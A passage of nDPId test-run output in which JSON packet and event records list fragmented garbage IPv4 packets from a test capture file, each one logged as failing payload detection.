failed","thread_id":0,"packet_id":709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306784,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307024,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307125,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307216,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":307267,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} 